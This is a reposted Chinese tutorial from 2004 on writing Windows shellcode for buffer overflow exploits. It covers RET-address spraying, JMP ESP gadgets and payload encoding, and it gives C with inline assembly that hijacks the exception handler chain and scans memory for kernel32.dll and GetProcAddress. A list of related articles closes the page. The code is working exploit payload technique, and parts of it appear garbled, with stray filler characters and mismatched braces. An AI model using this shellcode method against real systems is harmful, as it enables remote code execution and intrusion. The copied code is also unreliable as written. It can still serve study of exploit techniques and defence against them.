WINDOWS的SHELLCODE编写高级技巧
2004-08-28 19:35
531 查看
WINDOWS的SHELLCODE编写高级技巧
?作者:yuange (mailto:yuange@nsfocus.com)
主页:http://www.nsfocus.com/
?
????unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。
?
????经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
????1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出
????点大致范围就可以了。
????2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP
????ESP功能的指令地址就可以定位了。
????3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 ?C3,或者FF E4
????、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。
?
????4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。
?
????5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解
????码,这样编写SHELLCODE就可以不用考虑特殊字符了。
????6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。
?
????下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码:
?
void shellcodefn()
{
???int ????????*except[3];
???FARPROC ????procgetadd=0;
???char ???????*stradd;
???int ????????imgbase,fnbase,i,k,l;
???HANDLE ?????libhandle;
???_asm {
?????jmp ?????????nextcall
?????getstradd: ??pop ???stradd
??????????????????lea ???EDI,except
????????????mov ???eax,dword ptr FS:[0]
????????????mov ???dword ptr [edi+0x08],eax
????????????mov ???dword ptr FS:[0],EDI
????}
????except[0]=0xffffffff;
????except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */
?
????imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */
?
?????????call getexceptretadd
???}
/* 得到异常后的返回地址 */
???for(;imgbase<0xbffa0000,procgetadd==0;){
???????imgbase+=0x10000;
/* ?模块地址是64K为单位,加快速度*/
???????if(imgbase==0x78000000) imgbase=0xbff00000;
/* ?如果到这还没有搜索到,那可能是WIN9X系统 */
???????if(*( WORD *)imgbase=='ZM'&& *(WORD *)
???????(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模块结构的模块头 */
?????????fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
?????????k=*(int *)(fnbase+0xc)+imgbase;
?????????if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模块名 */
?????????????libhandle=imgbase;
/* 得到模块头地址,就是模块句柄 */
?????????????k=imgbase+*(int *)(fnbase+0x20);
?????????????for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
???????????????????if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
???????????????????k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
???????????????????k+=*(int *)(fnbase+0x10)-1;
???????????????????k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
???????????????????procgetadd=k+imgbase;
/* API地址 */
???????????????????break;
?????????????}
??????????}
????????}
????}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。
?
???_asm{
???????lea edi,except
??????????mov eax,dword ptr [edi+0x08]
???????mov dword ptr fs:[0],eax
???}
/* 恢复异常结构链 */
?
?
if(procgetadd==0) goto ?die ;
/* 如果没找到GetProcAddress地址死循环 */
??die: goto die ?;
?
??_asm{
?
getexceptretadd: ??pop ?eax
?????????????push eax
?????????????mov ?edi,dword ptr [stradd]
?????????????mov dword ptr [edi-0x0e],eax
?????????????ret
/* 得到异常后的返回地址,并填写到异常处理模块 */
?
/* 异常处理模块 */
errprogram: ????????mov eax,dword ptr [esp+0x0c]
?????????????add eax,0xb8
?????????????mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
?????????????xor eax,eax ?????????????//2
/* 不提示异常 */
?????????????ret ?????????????????//1
/* 异常处理返回 */
execptprogram: ????jmp errprogram ?????????????//2 bytes stradd-7
nextcall: ?????????call getstradd ?????????????//5 bytes
???}
}
相关文章推荐
- WINDOWS的SHELLCODE编写高级技巧
- Windows的SHELLCODE编写高级技巧
- WINDOWS的SHELLCODE编写高级技巧
- windows的shellcode编写高级技巧
- 《C#高级编程(第8版)》之用C# 2012和.NET 4.5编写Windows 8样式应用程序技巧
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- QT高级编程技巧(二)-- 编写多线程和并发应用
- 关于Windows下ShellCode编写的一点思考
- 编写控件的高级技巧
- 关于Windows下ShellCode编写的一点思考
- 【分析】关于Windows下ShellCode编写的一点思考
- 使用windows系统调用编写shellcode
- Window XP驱动开发(十九) windows内核高级调试技巧(双机调试)
- 关于Windows下ShellCode编写的一点思考
- WINDOWS下的溢出程序编写技巧
- Window XP驱动开发(十九) windows内核高级调试技巧(双机调试)
- 关于Windows下ShellCode编写的一点思考
- WINDOWS下的溢出程序编写技巧
- (转载)关于Windows下ShellCode编写的一点思考